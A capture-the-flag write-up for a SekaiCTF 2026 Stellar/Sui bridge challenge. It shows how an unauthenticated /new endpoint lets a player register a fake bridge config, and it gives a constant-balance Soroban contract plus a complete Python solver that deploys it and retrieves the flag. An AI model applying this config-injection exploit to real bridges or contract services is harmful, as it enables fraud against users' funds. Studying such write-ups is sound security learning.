[!NOTE] CTF CHALLENGE OVERVIEW
- CTF Event:
SekaiCTF 2026- Category:
Writeup- Difficulty:
[EASY]- Tools Used:
Python 3- Author / Writeup:
LIGHT
Flag: SEKAI{super-duper-stellar-master-3a9bb1}
Description: honest player is bridging their funds …
The attachment was a gzip-compressed tar archive with a Stellar contract, a Sui Move package, and the Python instancer that tied them together.
tar -tf 'blockchain_outer-stellar.tar.gz'blockchain_outer-stellar/contracts/stellar-bridge/src/lib.rsblockchain_outer-stellar/instancer/outerstellar_sandbox/server.pyblockchain_outer-stellar/instancer/outerstellar_sandbox/bridge.pyblockchain_outer-stellar/instancer/outerstellar_sandbox/honest_player.pyblockchain_outer-stellar/move/sui_bridge/sources/bridge.moveblockchain_outer-stellar/move/sui_bridge/sources/sekai.moveThe flag endpoint was in server.py. It checked the player’s Stellar balance by reading bridge metadata from disk, then invoking balance on whatever stellar_contract_id was stored there.
@app.route("/flag", methods=["GET", "POST"])@cross_origin()def flag() -> tuple[dict[str, Any], int] | dict[str, Any]: info = current_integrated_instance() if info is None: return {"ok": False, "error": "not_running", "message": "No instance is running"}, 404
solved, balance = has_solved(info["uuid"]) if not solved: return { "ok": False, "error": "not_solved", "message": ( f"not solved: Stellar SEKAI balance is {balance}, " f"need at least {FLAG_STELLAR_BALANCE_TARGET}" ), "stellar_sekai_balance": balance, "target": FLAG_STELLAR_BALANCE_TARGET, }, 403
return {"ok": True, "flag": read_flag()}
def has_solved(uuid: str) -> tuple[bool, int]: info = read_instance(uuid) if info.get("chain") != "integrated": return False, 0
try: bridge = read_deploy_info(uuid) stellar = info["stellar"] player = stellar["accounts"]["player"] balance = stellar_sekai_balance(stellar, bridge, player["public"]) except Exception as exc: print(f"flag check failed for {uuid}: {exc}", file=sys.stderr, flush=True) return False, 0
return balance >= FLAG_STELLAR_BALANCE_TARGET, balance
def stellar_sekai_balance(stellar: dict[str, Any], bridge: dict[str, Any], owner: str) -> int: output = run_checked([ "stellar", "contract", "invoke", "--config-dir", stellar["config_dir"], "--network-passphrase", stellar["network_passphrase"], "--rpc-url", stellar["rpc_url"], "--source-account", "player", "--id", bridge["stellar_contract_id"], "--send", "no", "--", "balance", "--owner", owner, ], timeout=120) return int(output.strip().strip('"'))The interesting part was how that bridge metadata was created. The public /new route accepted a JSON body and passed it into create_or_get_integrated_instance. If the body already contained a bridge dictionary, the server registered it directly instead of deploying its own bridge. The authenticated /bridge/<uuid> route had a secret check, but /new did not.
@app.route("/new", methods=["GET", "POST"])@cross_origin()def new_integrated() -> tuple[dict[str, Any], int] | dict[str, Any]: body = request.get_json(silent=True) if request.method == "POST" else {} return create_or_get_integrated_instance(body if isinstance(body, dict) else {})
def launch_integrated_instance(body: dict[str, Any]) -> dict[str, Any]: stellar_info = None sui_info = None try: stellar_info = launch_stellar_instance(TIMEOUT) sui_info = launch_sui_instance(TIMEOUT) except Exception as exc: if stellar_info is not None: kill_stellar_instance(stellar_info) cleanup_instance_resources(stellar_info) if sui_info is not None: kill_sui_instance(sui_info) cleanup_instance_resources(sui_info) return launch_failure("error_starting_instance", exc) instance_id = new_uuid()
write_instance(stellar_info["uuid"], stellar_info) write_instance(sui_info["uuid"], sui_info) write_instance(instance_id, { "chain": "integrated", "uuid": instance_id, "children": [stellar_info["uuid"], sui_info["uuid"]], "stellar": stellar_info, "sui": sui_info, }) register_node_supervisor(stellar_info) register_node_supervisor(sui_info)
schedule_kill_later(instance_id)
bridge = body.get("bridge") try: if isinstance(bridge, dict): register_bridge_config(instance_id, stellar_info, sui_info, bridge) elif body.get("auto_bridge", True): bridge = deploy_bridge_system(stellar_info, sui_info) wait_sui_bridge_ready(sui_info, bridge) checkpoint_sui_state(sui_info, "bridge deploy") register_bridge_config(instance_id, stellar_info, sui_info, bridge) if body.get("honest_player", True) and isinstance(bridge, dict): start_honest_player(instance_id, stellar_info, sui_info, bridge) except Exception as exc: really_kill(instance_id) return {"ok": False, "error": "error_starting_bridge", "message": str(exc)}This meant the checker could be pointed at a contract that was not the real bridge. The only method it needed was balance(Address) -> i128, and it only needed to return at least 250. I built that tiny Soroban contract.
#![no_std]
use soroban_sdk::{contract, contractimpl, Address, Env};
#[contract]pub struct FakeBalance;
#[contractimpl]impl FakeBalance { pub fn balance(_env: Env, _owner: Address) -> i128 { 250 }}Soroban wasm contract IDs are deterministic from the network, deployer address, and salt. I used a fixed attacker keypair and salt so /new could be given the fake contract ID before that account existed on the challenge chain.
ATTACKER_PUBLIC=GAK7YHKNCJ6FKOIPOSVJDK4KQEAZHEWJ7UM6DLAPWCPBRJGNOAP7TVHPATTACKER_SECRET=SB3WIBVRWTJGARM6BCJH4FC7QDN225YMFE7EFIMAOHNENUPSMPUC4UOOSALT=0000000000000000000000000000000000000000000000000000000000000000FAKE_CONTRACT_ID=CBQDEVG3O2CRCFC45AALDF7BE6GVETYYC5XQERTDXK6QCKJBW67HULQ5I confirmed the contract ID locally with the Stellar CLI.
stellar contract id wasm --rpc-url http://127.0.0.1:55093 --network-passphrase 'Standalone Network ; February 2017' --source-account GAK7YHKNCJ6FKOIPOSVJDK4KQEAZHEWJ7UM6DLAPWCPBRJGNOAP7TVHP --salt 0000000000000000000000000000000000000000000000000000000000000000CBQDEVG3O2CRCFC45AALDF7BE6GVETYYC5XQERTDXK6QCKJBW67HULQ5One dead end was trying to profit from the honest player’s bridge fees. Starting from the default honest balance of 100, alternating both directions for the 40 close limit only produced 93 total fees, below the 250 target.
a = 100p_sui = 0p_st = 0ops = 0while ops < 40 and a > 0: f = a // 8 p_sui += f a -= f ops += 1 if ops >= 40: break f = a // 8 p_st += f a -= f ops += 1print('p_sui', p_sui, 'p_st', p_st, 'total', p_sui + p_st, 'honest final', a, 'ops', ops)p_sui 48 p_st 45 total 93 honest final 7 ops 40The final solver registered the fake bridge config with /new, waited for the instance, funded the deterministic Stellar deployer from the published player secret, deployed the fake contract at the pre-registered ID, and read /flag.
from __future__ import annotations
import argparseimport jsonimport shutilimport subprocessimport timefrom pathlib import Path
import requests
UA = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36"ATTACKER_PUBLIC = "GAK7YHKNCJ6FKOIPOSVJDK4KQEAZHEWJ7UM6DLAPWCPBRJGNOAP7TVHP"ATTACKER_SECRET = "SB3WIBVRWTJGARM6BCJH4FC7QDN225YMFE7EFIMAOHNENUPSMPUC4UOO"SALT = "0" * 64FAKE_CONTRACT_ID = "CBQDEVG3O2CRCFC45AALDF7BE6GVETYYC5XQERTDXK6QCKJBW67HULQ5"FAKE_SUI_PACKAGE = "0x" + "11" * 32FAKE_SUI_BRIDGE = "0x" + "22" * 32
def run(cmd, cwd=None): proc = subprocess.run(cmd, cwd=cwd, text=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, check=True) return proc.stdout
def request_json(session, method, url, **kwargs): headers = kwargs.pop("headers", {}) headers.setdefault("User-Agent", UA) response = session.request(method, url, headers=headers, timeout=30, **kwargs) return response.status_code, response.json()
def stellar_cmd(root): if shutil.which("stellar"): return ["stellar"] return ["docker", "compose", "exec", "-T", "outerstellar", "stellar"]
def spawn_instance(session, base): request_json(session, "POST", f"{base}/stop") body = { "honest_player": False, "bridge": { "stellar_contract_id": FAKE_CONTRACT_ID, "sui_package_id": FAKE_SUI_PACKAGE, "sui_bridge_object_id": FAKE_SUI_BRIDGE, }, } request_json(session, "POST", f"{base}/new", json=body) while True: _, info = request_json(session, "GET", f"{base}/info") if info.get("running") and info.get("bridge", {}).get("stellar_contract_id") == FAKE_CONTRACT_ID: return info time.sleep(10)
def deploy_fake_contract(root, base, info): wasm = root / "target" / "wasm32v1-none" / "release" / "fake_balance.wasm" stellar = info["node_info"]["stellar"] stellar_rpc = f"{base}{stellar['endpoint']}" cmd = stellar_cmd(root) wasm_arg = str(wasm) if cmd[0] == "docker": run(["docker", "compose", "cp", str(wasm), "outerstellar:/tmp/fake_balance.wasm"], cwd=root) wasm_arg = "/tmp/fake_balance.wasm" run(cmd + [ "tx", "new", "create-account", "--rpc-url", stellar_rpc, "--network-passphrase", stellar["network_passphrase"], "--source-account", stellar["player_secret"], "--destination", ATTACKER_PUBLIC, "--starting-balance", "100000000", ], cwd=root if cmd[0] == "docker" else None) run(cmd + [ "contract", "deploy", "--rpc-url", stellar_rpc, "--network-passphrase", stellar["network_passphrase"], "--source-account", ATTACKER_SECRET, "--wasm", wasm_arg, "--salt", SALT, ], cwd=root if cmd[0] == "docker" else None)
def main(): parser = argparse.ArgumentParser() parser.add_argument("base_url") args = parser.parse_args() root = Path(__file__).resolve().parent base = args.base_url.rstrip("/") session = requests.Session() info = spawn_instance(session, base) deploy_fake_contract(root, base, info) _, flag = request_json(session, "GET", f"{base}/flag") print(flag["flag"])
main()python solve_outer_stellar.py 'https://outer-stellar-fe4dcf788efb.instancer.sekai.team'SEKAI{super-duper-stellar-master-3a9bb1}